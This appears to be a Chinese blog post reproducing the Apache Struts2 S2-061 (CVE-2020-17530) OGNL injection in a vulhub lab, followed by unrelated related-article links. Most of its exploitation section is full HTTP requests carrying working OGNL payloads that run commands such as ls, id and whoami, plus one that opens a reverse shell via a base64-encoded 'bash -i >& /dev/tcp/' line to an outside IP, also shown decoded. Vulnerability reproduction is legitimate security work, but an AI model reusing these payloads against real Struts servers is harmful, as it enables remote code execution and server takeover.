声明

由于传播、利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博鸿科技安全服务中心以及文章作者不为此承担任何责任。

博鸿科技安全服务中心拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经博鸿科技安全服务中心允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

0x00 软件介绍

struts2:面向JAVA EE的一款java web开发框架

0x01 复现环境

使用环境:vulhub中的环境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-061复现版本:Apache Struts 2.5.25

0x02 环境搭建

一台云上的vpsgit clone https://github.com/vulhub/vulhubcd ./vulhub/cd ./struts2/cd ./s2-061/systemctl start dockerdocker-compose up -d

0x03 利用条件

此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用

0x04 影响版本

Apache Struts 2.0.0 - Struts 2.5.25

0x05 漏洞复现

攻击环境:kali_x64_en-usEXP1(验证漏洞是否存在):

http://ybdt.best:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

查看返回页面的源码,如下图,包含“test2020”表示漏洞存在对于命令执行,目前网上有2种利用方式EXP2(第一种利用方式执行命令ls):

POST /index.action HTTP/1.1Host: ybdt.best:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 829------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

如下图,成功执行命令EXP3(第二种利用方式执行命令id):

POST /index.action HTTP/1.1Host: ybdt.best:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.110:8080/index.actionAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1361------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

如下图,成功执行命令EXP4(使用第一种利用方式反弹shell):

POST /index.action HTTP/1.1Host: ybdt.best:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 918------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNC45Mi4zNy4xODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

执行后返回值为空,如下图:成功反弹shell,如下图:其中反弹shell的命令:

bash -i >& /dev/tcp/34.92.37.189/1234 0>&1

需要经过http://www.jackson-t.ca/runtime-exec-payloads.html这个在线编码网站编码转化一下EXP5(以get方式执行命令):

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}
成功执行命令,如下图:

0x06 踩坑记录

公众号发送S2-061获取批量检测脚本

golang 远程批量执行shell_S2061远程代码执行漏洞复现及批量检测脚本(CVE202017530)...相关推荐

  1. Kibana原型污染导致远程执行代码 CVE-2019-7609 漏洞复现

    Kibana原型污染导致远程执行代码(CVE-2019-7609) by ADummy 0x00利用路线 ​ 0x01漏洞介绍 ​ Kibana是Elasticsearch的开源数据可视化仪表板. 5 ...

  2. java 执行顺序_Java代码执行顺序

    程序中代码执行的顺序非常重要,稍有不慎便会是程序运行出错,那么我将结合实例来分析代码中的执行. 名词解释 首先了解几个名词: 非静态代码块 直接由 { } 包起来的代码,称为非静态代码块 静态代码块 ...

  3. 统计php代码执行情况,PHP代码执行函数总结

    PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳. 常见代码执行函数,如 eval().assert().preg_replace().create ...

  4. JAVA构造器、静态上下文的执行时机与代码执行顺序详解

    先看代码案例 package com.exemple.demo.test.preciate;public class Father {private int i = test();private st ...

  5. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

  6. java 远程怎么改bug_java struts2 远程执行任意java代码bug漏洞修复

    漏洞前提 开启动态方法调用, struts.xml配置 沙盒绕过 通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_m ...

  7. java自动化执行javascript,Js代码执行__实现自动化

    一.代码如下 package www.gui.v2; import java.awt.AWTException; import java.awt.List; import java.awt.Recta ...

  8. 网络安全漏洞分析之远程代码执行

    介绍 Apache Flume 是一个分布式的,可靠的,并且可用于高效地收集,汇总和移动大量日志数据的软件.它具有基于流数据流的简单而灵活的体系结构.它具有可调的可靠性机制以及许多故障转移和恢复机制, ...

  9. spring 代码执行 (CVE-2018-1273)

    spring 代码执行 CVE-2018-1273 spring 代码执行 (CVE-2018-1273) 0x01 漏洞描述 0x02 影响范围 0x03 漏洞复现 wget反弹shell 0x04 ...

最新文章

  1. mysql 5.7解压缩,Mysql5.7 windows解压缩ZIP版安装
  2. 用神经网络做分子模型:乙烯和乙炔的实验数据
  3. DayDayUp:三观一致必将取代血缘关系,成为新的人际纽带(博主推荐文章)
  4. Android 开发之Windows环境下Android Studio安装和使用教程(图文详细步骤)
  5. 如何修改SAP登录界面的文字
  6. 第一课 计算机网络的分类,第一课-计算机网络基本组成
  7. etag flag setting in metadata MPC_EXT
  8. 2018-2019-2 网络对抗技术 20165303 Exp4 恶意代码分析
  9. 从工具到平台|默安科技研发安全一体化管理平台正式发布
  10. Titanium系列--对Window和View的一点理解
  11. Win10之打印机扫描为pdf格式
  12. 商品销售数据分析报告
  13. C语言实现学生成绩管理系统设计
  14. 三菱plc串口通讯c语言,三菱plc串口通信协议与串口初始化
  15. 使用selenium调用qq游览器(基于Chrome浏览器)
  16. 视觉3d中五折幕的震撼这就是沉浸式屏幕
  17. 水文计算机国外ei期刊,水文水利类相关SCI、EI期刊(包括SCI分区)
  18. 凡亿教育发布电子工程师利器:IC封装网 V.1.0
  19. teraterm乱码linux,[Unity3D][转] 关于Assets资源目录结构管理
  20. 如何用HTML5写一个旋转立方体

热门文章

  1. TypeError: cannot unpack non-iterable NoneType object
  2. 【TensorFlow】随机训练和批训练的比较与实现
  3. 二叉树----数据结构:二叉树的三种遍历及习题
  4. day52 Django全流程
  5. 17-比赛2 C - Maze (dfs)
  6. 继承和多态二:虚析构函数
  7. 十二、泛型、反射和异常
  8. 242.判断一个字符串是否为另一个的乱序 Valid Anagram
  9. JSTL标签库中fmt标签,日期,数字的格式化
  10. 新浪微博学习的知识点